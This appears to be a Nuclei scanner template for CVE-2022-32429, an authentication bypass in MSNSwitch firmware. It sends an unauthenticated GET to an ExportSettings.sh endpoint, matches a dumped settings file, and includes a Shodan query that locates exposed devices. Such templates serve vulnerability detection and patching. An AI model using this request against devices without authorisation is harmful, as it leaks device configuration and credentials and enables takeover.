id: CVE-2022-32429

info:
  name: MSNSwitch Firmware MNT.2408 - Authentication Bypass
  author: theabhinavgaur
  severity: critical
  description: |
    MSNSwitch Firmware MNT.2408 is susceptible to authentication bypass in the component http://MYDEVICEIP/cgi-bin-sdb/ExportSettings.sh. An attacker can arbitrarily configure settings, leading to possible remote code execution and subsequent unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected device.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the authentication bypass vulnerability.
  reference:
    - https://packetstormsecurity.com/files/169819/MSNSwitch-Firmware-MNT.2408-Remote-Code-Execution.html
    - https://elifulkerson.com/CVE-2022-32429/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-32429
    - http://packetstormsecurity.com/files/169819/MSNSwitch-Firmware-MNT.2408-Remote-Code-Execution.html
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-32429
    cwe-id: CWE-287
    epss-score: 0.7572
    epss-percentile: 0.99459
    cpe: cpe:2.3:o:megatech:msnswitch_firmware:mnt.2408:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: megatech
    product: msnswitch_firmware
    shodan-query: http.favicon.hash:-2073748627 || http.favicon.hash:-1721140132
  tags: cve2022,cve,config,dump,packetstorm,msmswitch,unauth,switch,megatech,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin-hax/ExportSettings.sh"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "SSID1"

      - type: regex
        part: header
        regex:
          - 'filename="Settings(.*).dat'
          - 'application/octet-stream'
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c18a8f35eb924ecb4d3396398022220f8286517734e68c568cf05b546e0250fb022100f49cc6d61b789433a81ab401bf8e7b9a4d331ce0f64f78f64728107b6603597c:922c64590222798bb761d5b6d8e72950